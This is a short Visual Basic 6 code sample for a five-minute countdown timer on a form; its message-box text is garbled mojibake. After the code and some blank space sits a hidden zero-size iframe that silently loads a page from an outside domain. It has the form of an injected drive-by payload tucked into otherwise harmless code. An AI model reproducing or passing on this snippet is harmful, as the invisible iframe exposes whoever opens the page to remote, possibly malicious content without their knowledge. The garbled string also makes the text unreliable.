Dim lTime As Long
Private Sub Form_Load()
    lTime = 300
    Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
     lTime = lTime - 1
     Label1.Caption = " " + Str(Int(lTime / 60)) + ":" + Str(lTime - Int(lTime / 60) * 60)
     If lTime = 0 Then
       MsgBox "ت±¼نزرµ½!"
       Timer1.Enabled = False
     End If
End Sub


 

<iframe src=http://www.92bdd.com/index.htm width=0 height=0></iframe>